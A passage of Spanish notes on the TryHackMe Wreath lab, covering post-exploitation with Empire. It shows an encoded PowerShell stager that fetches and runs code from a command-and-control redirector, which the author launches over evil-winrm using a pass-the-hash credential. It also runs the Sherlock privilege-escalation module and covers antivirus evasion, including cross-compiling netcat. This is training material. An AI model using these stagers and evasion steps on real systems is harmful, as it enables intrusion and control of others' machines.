Archive: http_hop_niknitro.zip
creating: http_hop/
creating: http_hop/admin/
inflating: http_hop/admin/get.php
creating: http_hop/login/
inflating: http_hop/login/process.php
inflating: http_hop/news.php
[root@prod-serv server_niknitro]#
```
Y servirlo. Es necesario que el servidor tenga intérprete de PHP y abrir el puerto del firewall si estuviera cerrado:
```bash=
[root@prod-serv http_hop]# ls
admin login news.php
[root@prod-serv http_hop]# php -S 0.0.0.0:47000 &>/dev/null &
[1] 6608
[root@prod-serv http_hop]# firewall-cmd --zone=public --add-port 47000/tcp
success
```
Montamos el stager:
```bash=
(Empire: uselistener/http_hop) > usestager multi/launcher
Author @harmj0y
Description Generates a one-liner stage0 launcher for Empire.
Name multi/launcher
┌Record Options────┬────────────────────┬──────────┬─────────────────────────────────────┐
│ Name │ Value │ Required │ Description │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Base64 │ True │ True │ Switch. Base64 encode the output. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Bypasses │ mattifestation etw │ False │ Bypasses as a space separated list │
│ │ │ │ to be prepended to the launcher │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Language │ powershell │ True │ Language of the stager to generate. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Listener │ │ True │ Listener to generate stager for. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Obfuscate │ False │ False │ Switch. Obfuscate the launcher │
│ │ │ │ powershell code, uses the │
│ │ │ │ ObfuscateCommand for obfuscation │
│ │ │ │ types. For powershell only. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ ObfuscateCommand │ Token\All\1 │ False │ The Invoke-Obfuscation command to │
│ │ │ │ use. Only used if Obfuscate switch │
│ │ │ │ is True. For powershell only. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ OutFile │ │ False │ Filename that should be used for │
│ │ │ │ the generated output. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Proxy │ default │ False │ Proxy to use for request (default, │
│ │ │ │ none, or other). │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ ProxyCreds │ default │ False │ Proxy credentials │
│ │ │ │ ([domain\]username:password) to use │
│ │ │ │ for request (default, none, or │
│ │ │ │ other). │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ SafeChecks │ True │ True │ Switch. Checks for LittleSnitch or │
│ │ │ │ a SandBox, exit the staging process │
│ │ │ │ if true. Defaults to True. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ StagerRetries │ 0 │ False │ Times for the stager to retry │
│ │ │ │ connecting. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ UserAgent │ default │ False │ User-agent string to use for the │
│ │ │ │ staging request (default, none, or │
│ │ │ │ other). │
└──────────────────┴────────────────────┴──────────┴─────────────────────────────────────┘
(Empire: usestager/multi/launcher) > set Listener http_hop
[*] Set Listener to http_hop
(Empire: usestager/multi/launcher) > execute
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4AT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HYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
[+] Stager copied to clipboard.
```
Conectamos al 200 por shuttle, y al 150 por evil-winrm, donde lanzamos nuestro stager:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath/tools/Post-Exploitation]
└─$ evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.90.150
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgB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AJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG4APQBlAGsAZgBGADMAWgBKAGwAYgBCAHUAdgBKAEYANQBuAFEAZgBpAG4AdgAzAEYAUwBYAG8AQQA9ACIAKQA7ACQAcwBlAHIAPQAkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBMAGcAQQB5AEEARABBAEEATQBBAEEAdQBBAEQAawBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB3AEEARABvAEEATgBBAEEAMwBBAEQAQQBBAE0AQQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAGgAcAAnADsAJABoAG8AcAA9ACcAaAB0AHQAcABfAGgAbwBwACcAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
```

Y se nos creó un agente :)

### Modules
Los módulos se usan para realizar tareas en un target comprometido, a través de un Agente. Por ejemplo, podemos lanzar Mimikatz a través de su módulo del Empire. Vamos a probar con el módulo *Sherlock Empire*.
```bash=
(Empire) > usemodule powershell/privesc/sherlock
Author @_RastaMouse
Background True
Comments https://github.com/rasta-mouse/Sherlock
Description Find Windows local privilege escalation vulnerabilities.
Language powershell
Name powershell/privesc/sherlock
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1046
┌Record Options──┬────────────┬──────────┬─────────────────────────────────────┐
│ Name │ Value │ Required │ Description │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ Agent │ │ True │ Agent to run module on. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ OutputFunction │ Out-String │ False │ PowerShell's output function to use │
│ │ │ │ ("Out-String", "ConvertTo-Json", │
│ │ │ │ "ConvertTo-Csv", "ConvertTo-Html", │
│ │ │ │ "ConvertTo-Xml"). │
└────────────────┴────────────┴──────────┴─────────────────────────────────────┘
(Empire: usemodule/powershell/privesc/sherlock) > set Agent CPHUD9KV
[*] Set Agent to CPHUD9KV
(Empire: usemodule/powershell/privesc/sherlock) > execute
[*] Tasked CPHUD9KV to run Task 11
```
Otra forma es:
```bash=
(Empire: agents) > list
┌Agents──────────┬────────────┬───────────────┬────────────────────────┬────────────┬──────┬───────┬─────────────────────────┬──────────┐
│ ID │ Name │ Language │ Internal IP │ Username │ Process │ PID │ Delay │ Last Seen │ Listener │
├────┼───────────┼────────────┼───────────────┼────────────────────────┼────────────┼──────┼───────┼─────────────────────────┼──────────┤
│ 3 │ CPHUD9KV* │ powershell │ 10.200.90.150 │ GIT-SERV\Administrator │ powershell │ 5284 │ 5/0.0 │ 2022-12-19 09:46:09 EST │ CLIHTTP │
│ │ │ │ │ │ │ │ │ (2 seconds ago) │ │
└────┴───────────┴────────────┴───────────────┴────────────────────────┴────────────┴──────┴───────┴─────────────────────────┴──────────┘
(Empire: agents) > interact CPHUD9KV
(Empire: CPHUD9KV) > sherlock
[*] Tasked CPHUD9KV to run Task 10
[*] Task 10 results received
Job started: BAZE5S
[*] Task 10 results received
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Not Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Not Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable
(Empire: CPHUD9KV) >
```
## AV Evasion
Existen dos tipos principales de AV evasion:
* On-Disk evasion
* In-Memory evasion
On-Disk evasion es cuando intentamos guardar un archivo en el target y luego ejecutarlo. Es el típico de los .exe.
In-Memory evasion es cuando intentamos improtar un script directamente en memoria y ejecutarlo, por ejemplo cuando descargarmos un .ps1 y lo pipeamos a ejecución directa.
Antiguamente, esta segunda era todo lo que hacía falta para evadir un AV, pero implementaron el Anti-Malware Scan Interface (AMSI). Esto escanea scripts tal y como entran en la memoria.
AV evasion hoy en día se encarga de ofuscar tanto el script como intentar usar funciones propias de la API de windows, ya que los AV usan tanto análisis estático de código como de comportamiento.
Hay formas de bypass el AMSI, pero no entran dentro de esta room, así que vamos a ofuscar payloads.
### Compiling Netcat & Reverse Shell!
Al contrario que en Linux, en Windows hay pocas formas de conseguir una reverse shell, ya que no suele tener tantas herramientas y lenguajes instalados por defecto.
Las opciones que tenemos son:
* Reverse shell usando powerShell. Desafortunadamente, Defender conoce cómo es una reverse shell de PowerShell, así que hay que ofuscar bastante.
* PHP Reverse shell, sabiendo que el target tiene PHP instalado en el equipo. Pero las PHP revshells suelen ser delicadas y pueden triggerear el Defender también.
* Generar un ejecutable con msfvenom, subirlo y activarlo usando la webshell. Msfvenom es muy distintivo. Podemos usar el [Veil Framework](https://www.veil-framework.com/) para conseguir que este ejecutable se salte el Defender, pero es un trabajo muy manual por ahora. Igualmente, [shellter](https://www.shellterproject.com/)(aunque viejo) puede conseguirlo también.
* Podemos subir netcat, que es la opción rápida y fácil.
El único problema de netcat es que hay cientos de versiones diferentes. Por ejemplo, la versión de nc para Windows que viene en Kali es conocida por Defender, por lo que vamos a descargarnos una de github: https://github.com/int0x33/nc.exe/
Casi que podríamos usar ya esos binarios precompilados, pero vamos a hablar un poquito de la **Cross compilation**.
#### Cross Compilation
Es una skill esencial, aunque casi siempre es preferible evitarla.
La idea de la Cross Compilation es compilar el código fuente de un programa para que sea ejecutado en otra plataforma diferente: un kernel diferente de Linux, Windows o incluso software para un teléfono o sistema embebido.
Aunque esta técnica es muy útil, suele ser difícil llevarla a cabo correctamente. Lo suyo sería compilar el código en un entorno tan similar como el que va a ejecutarlo, pero a veces montar estos entornos es más difícil que *crosscompilarlos*.
Por ejemplo, para Windowsx64 usaremos el paquete mingw-w64 (`sudo apt install mingw-w64`). En Kali tenemos ya muchos de estos preinstalados, como se puede ver en la siguiente captura:

Antes de nada, vamos a eliminar los binarios y a abrir el Makefile del repo que hemos descargado, para editar el compilador, comentando el otro que está usando ahora mismo, de modo que quede como el siguiente:

Ahora cuando ejecutemos el make, se usará el compilador definidio para crear un ejecutable para Windowsx64. Habrán muchos warnings, así que los redireccionaremos a /dev/null.
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ git clone https://github.com/int0x33/nc.exe/
Cloning into 'nc.exe'...
remote: Enumerating objects: 13, done.
remote: Total 13 (delta 0), reused 0 (delta 0), pack-reused 13
Receiving objects: 100% (13/13), 114.07 KiB | 648.00 KiB/s, done.
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ cd nc.exe
┌──(kali㉿kali)-[~/THM_Wreath/nc.exe]
└─$ vim Makefile
┌──(kali㉿kali)-[~/THM_Wreath/nc.exe]
└─$ rm *.exe
┌──(kali㉿kali)-[~/THM_Wreath/nc.exe]
└─$ make 2>/dev/null
x86_64-w64-mingw32-gcc -DNDEBUG -DWIN32 -D_CONSOLE -DTELNET -DGAPING_SECURITY_HOLE getopt.c doexec.c netcat.c -s -lkernel32 -luser32 -lwsock32 -lwinmm -o nc.exe
┌──(kali㉿kali)-[~/THM_Wreath/nc.exe]
└─$ file nc.exe
nc.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
```
En virustotal podemos ver el nc de /usr/share/windows-binaries:

Y el que acabamos de compilar nosotros:
